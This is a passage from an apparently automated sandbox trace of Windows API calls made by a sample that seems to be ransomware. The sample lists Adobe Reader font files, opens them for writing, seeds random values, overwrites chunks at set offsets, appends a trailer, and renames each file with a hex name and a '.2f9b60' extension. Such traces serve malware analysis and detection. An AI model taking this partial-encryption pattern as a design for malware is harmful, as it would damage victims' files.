ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x27fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 1 [0159.516] wcscmp (_String1="npjp2.dll", _String2=".") returned 1 [0159.516] wcscmp (_String1="npjp2.dll", _String2="..") returned 1 [0159.516] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x2027db80 | out: lpFindFileData=0x2027db80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x27fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 0 [0159.516] FindClose (in: hFindFile=0x1b8585b0 | out: hFindFile=0x1b8585b0) returned 1 [0159.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027db80) returned 1 [0159.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2520) returned 1 [0159.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8c20) returned 1 Thread: id = 2709 os_tid = 0x22c0 [0157.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1cebe680 [0157.773] wcscpy (in: _Dest=0x1cebe680, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0157.773] wcscat (in: _Dest=0x1cebe680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0157.773] wcscat (in: _Dest=0x1cebe680, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*" [0157.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027c590 [0157.773] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*", lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86c10 [0165.245] wcscmp (_String1=".", _String2=".") returned 0 [0165.245] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.246] wcscmp (_String1="..", _String2=".") returned 1 [0165.246] wcscmp (_String1="..", _String2="..") returned 0 [0165.246] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeFanHeitiStd-Bold.otf", cAlternateFileName="ADOBEF~1.OTF")) returned 1 [0165.246] wcscmp (_String1="AdobeFanHeitiStd-Bold.otf", _String2=".") returned 1 [0165.246] wcscmp (_String1="AdobeFanHeitiStd-Bold.otf", _String2="..") returned 1 [0165.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c9d0 [0165.247] wcscpy (in: _Dest=0x2050c9d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0165.247] wcscat (in: _Dest=0x2050c9d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0165.247] wcscat (in: _Dest=0x2050c9d0, _Source="AdobeFanHeitiStd-Bold.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeFanHeitiStd-Bold.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeFanHeitiStd-Bold.otf" [0165.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050c9d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2948 [0165.842] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c0638, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeGothicStd-Bold.otf", cAlternateFileName="ADOBEG~1.OTF")) returned 1 [0165.842] wcscmp (_String1="AdobeGothicStd-Bold.otf", _String2=".") returned 1 [0165.842] wcscmp (_String1="AdobeGothicStd-Bold.otf", _String2="..") returned 1 [0165.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x2050bed0 [0165.842] wcscpy (in: _Dest=0x2050bed0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0165.842] wcscat (in: _Dest=0x2050bed0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0165.842] wcscat (in: _Dest=0x2050bed0, _Source="AdobeGothicStd-Bold.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeGothicStd-Bold.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeGothicStd-Bold.otf" [0165.842] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeGothicStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobegothicstd-bold.otf")) returned 0x20 [0165.937] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeGothicStd-Bold.otf", dwFileAttributes=0x20) returned 1 [0166.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeGothicStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobegothicstd-bold.otf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a28 [0166.972] GetFileSizeEx (in: hFile=0x2a28, lpFileSize=0x3d7bf7a0 | out: lpFileSize=0x3d7bf7a0*=2885176) returned 1 [0166.972] SetFilePointerEx (in: hFile=0x2a28, liDistanceToMove=0x2c0634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.972] ReadFile (in: hFile=0x2a28, lpBuffer=0x3d7bf720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d7bf768, lpOverlapped=0x0 | out: lpBuffer=0x3d7bf720*, lpNumberOfBytesRead=0x3d7bf768*=0x4, lpOverlapped=0x0) returned 1 [0166.976] SetFilePointerEx (in: hFile=0x2a28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3fa0 [0166.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3f10 [0166.978] NtQuerySystemTime (in: CurrentTime=0x3d7bf660 | out: CurrentTime=0x3d7bf660*=132462177720910000) returned 0x0 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x28f37340 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x6cd6730 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x2ebf680 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x3d8a0a0e [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0xa7a3e36 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x39b8e42 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x605d6f12 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x6ca956dc [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x15a17938 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x7c45299d [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x1521b08 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x7fccb0f8 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x34567463 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x75fb3268 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x3dad1a29 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x178d8048 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x4342e36f [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x241cb613 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x643543ae [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x2f7554d5 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x6b81a025 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x515fcebe [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x29f6e356 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x100eb3e0 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x2b7c9a82 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x4af0bb80 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x4604ed38 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x7830868a [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x4acf33e1 [0166.978] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x60f96a5 [0166.979] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x9a3faf [0166.979] RtlRandomEx (in: Seed=0x3d7bf650 | out: Seed=0x3d7bf650) returned 0x6e80a57 [0166.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3ee0 [0166.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec63a0 [0166.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3e20 [0166.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec63a0) returned 1 [0166.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3f10) returned 1 [0166.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b31d40 [0166.991] SetFilePointerEx (in: hFile=0x2a28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.991] ReadFile (in: hFile=0x2a28, lpBuffer=0x41b31d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d7bf6c0, lpOverlapped=0x0 | out: lpBuffer=0x41b31d40*, lpNumberOfBytesRead=0x3d7bf6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0167.009] SetFilePointerEx (in: hFile=0x2a28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18910 [0167.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec63a0 [0167.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0167.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0167.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b1b4e0 [0167.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0167.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3df0 [0167.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3df0) returned 1 [0167.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec63a0) returned 1 [0167.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18910) returned 1 [0167.011] WriteFile (in: hFile=0x2a28, lpBuffer=0x41b1b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d7bf6c0, lpOverlapped=0x0 | out: lpBuffer=0x41b1b4e0*, lpNumberOfBytesWritten=0x3d7bf6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b1b4e0) returned 1 [0198.564] SetFilePointerEx (in: hFile=0x2a28, liDistanceToMove=0x160800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.564] ReadFile (in: hFile=0x2a28, lpBuffer=0x41b31d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d7bf6c0, lpOverlapped=0x0 | out: lpBuffer=0x41b31d40*, lpNumberOfBytesRead=0x3d7bf6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0199.088] SetFilePointerEx (in: hFile=0x2a28, liDistanceToMove=0x160800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0199.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0199.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c1f0 [0199.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c1f0) returned 1 [0199.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e5b4e0 [0199.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c1f0 [0199.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c220 [0199.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c220) returned 1 [0199.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0199.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0199.092] WriteFile (in: hFile=0x2a28, lpBuffer=0x41e5b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d7bf6c0, lpOverlapped=0x0 | out: lpBuffer=0x41e5b4e0*, lpNumberOfBytesWritten=0x3d7bf6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0213.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5b4e0) returned 1 [0213.608] SetFilePointerEx (in: hFile=0x2a28, liDistanceToMove=0x2bca38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.608] ReadFile (in: hFile=0x2a28, lpBuffer=0x41b31d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d7bf6c0, lpOverlapped=0x0 | out: lpBuffer=0x41b31d40*, lpNumberOfBytesRead=0x3d7bf6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0213.610] SetFilePointerEx (in: hFile=0x2a28, liDistanceToMove=0x2bca38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c880 [0213.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0213.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2de0 [0213.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2de0) returned 1 [0213.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e5b4e0 [0213.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2de0 [0213.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1700 [0213.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1700) returned 1 [0213.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0213.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c880) returned 1 [0213.614] WriteFile (in: hFile=0x2a28, lpBuffer=0x41e5b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d7bf6c0, lpOverlapped=0x0 | out: lpBuffer=0x41e5b4e0*, lpNumberOfBytesWritten=0x3d7bf6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0228.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5b4e0) returned 1 [0228.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4310e8e0 [0228.372] SetFilePointerEx (in: hFile=0x2a28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0228.373] WriteFile (in: hFile=0x2a28, lpBuffer=0x1ceb8320*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x3d7bf770, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8320*, lpNumberOfBytesWritten=0x3d7bf770*=0x160, lpOverlapped=0x0) returned 1 [0233.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61b00 [0233.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a0c0 [0233.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1fc20 [0233.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1fc20) returned 1 [0233.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7d8240 [0233.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1fc20 [0233.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1fbf0 [0233.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1fbf0) returned 1 [0233.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a0c0) returned 1 [0233.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61b00) returned 1 [0233.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x4310e790 [0233.053] sprintf (in: _Dest=0x4310e790, _Format="%c%c" | out: _Dest="79") returned 2 [0233.053] sprintf (in: _Dest=0x4310e792, _Format="%c%c" | out: _Dest="44") returned 2 [0233.053] sprintf (in: _Dest=0x4310e794, _Format="%c%c" | out: _Dest="a9") returned 2 [0233.053] sprintf (in: _Dest=0x4310e796, _Format="%c%c" | out: _Dest="47") returned 2 [0233.054] sprintf (in: _Dest=0x4310e798, _Format="%c%c" | out: _Dest="b8") returned 2 [0233.054] sprintf (in: _Dest=0x4310e79a, _Format="%c%c" | out: _Dest="23") returned 2 [0233.054] sprintf (in: _Dest=0x4310e79c, _Format="%c%c" | out: _Dest="16") returned 2 [0233.054] sprintf (in: _Dest=0x4310e79e, _Format="%c%c" | out: _Dest="f9") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7a0, _Format="%c%c" | out: _Dest="ce") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7a2, _Format="%c%c" | out: _Dest="6d") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7a4, _Format="%c%c" | out: _Dest="ef") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7a6, _Format="%c%c" | out: _Dest="76") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7a8, _Format="%c%c" | out: _Dest="2c") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7aa, _Format="%c%c" | out: _Dest="f0") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7ac, _Format="%c%c" | out: _Dest="ce") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7ae, _Format="%c%c" | out: _Dest="87") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7b0, _Format="%c%c" | out: _Dest="53") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7b2, _Format="%c%c" | out: _Dest="40") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7b4, _Format="%c%c" | out: _Dest="f1") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7b6, _Format="%c%c" | out: _Dest="71") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7b8, _Format="%c%c" | out: _Dest="84") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7ba, _Format="%c%c" | out: _Dest="d0") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7bc, _Format="%c%c" | out: _Dest="7b") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7be, _Format="%c%c" | out: _Dest="7a") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7c0, _Format="%c%c" | out: _Dest="ae") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7c2, _Format="%c%c" | out: _Dest="74") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7c4, _Format="%c%c" | out: _Dest="96") returned 2 [0233.054] sprintf (in: _Dest=0x4310e7c6, _Format="%c%c" | out: _Dest="ce") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7c8, _Format="%c%c" | out: _Dest="df") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7ca, _Format="%c%c" | out: _Dest="09") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7cc, _Format="%c%c" | out: _Dest="bd") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7ce, _Format="%c%c" | out: _Dest="c5") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7d0, _Format="%c%c" | out: _Dest="21") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7d2, _Format="%c%c" | out: _Dest="26") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7d4, _Format="%c%c" | out: _Dest="7b") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7d6, _Format="%c%c" | out: _Dest="c4") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7d8, _Format="%c%c" | out: _Dest="57") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7da, _Format="%c%c" | out: _Dest="69") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7dc, _Format="%c%c" | out: _Dest="81") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7de, _Format="%c%c" | out: _Dest="d9") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7e0, _Format="%c%c" | out: _Dest="d8") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7e2, _Format="%c%c" | out: _Dest="06") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7e4, _Format="%c%c" | out: _Dest="2c") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7e6, _Format="%c%c" | out: _Dest="77") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7e8, _Format="%c%c" | out: _Dest="ee") returned 2 [0233.055] sprintf (in: _Dest=0x4310e7ea, _Format="%c%c" | out: _Dest="db") returned 2 [0233.055] RtlInitAnsiString (in: DestinationString=0x3d7bf7e8, SourceString="7944a947b82316f9ce6def762cf0ce875340f17184d07b7aae7496cedf09bdc521267bc4576981d9d8062c77eedb" | out: DestinationString="7944a947b82316f9ce6def762cf0ce875340f17184d07b7aae7496cedf09bdc521267bc4576981d9d8062c77eedb") [0233.055] RtlAnsiStringToUnicodeString (in: DestinationString=0x3d7bf7b8, SourceString="7944a947b82316f9ce6def762cf0ce875340f17184d07b7aae7496cedf09bdc521267bc4576981d9d8062c77eedb", AllocateDestinationString=1 | out: DestinationString="7944a947b82316f9ce6def762cf0ce875340f17184d07b7aae7496cedf09bdc521267bc4576981d9d8062c77eedb") returned 0x0 [0233.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x43113900 [0233.056] wcscat (in: _Dest=0x431122e0, _Source="7944a947b82316f9ce6def7" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\7944a947b82316f9ce6def7") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\7944a947b82316f9ce6def7" [0233.056] wcscat (in: _Dest=0x431122e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\7944a947b82316f9ce6def7.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\7944a947b82316f9ce6def7.2f9b60" [0233.056] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program 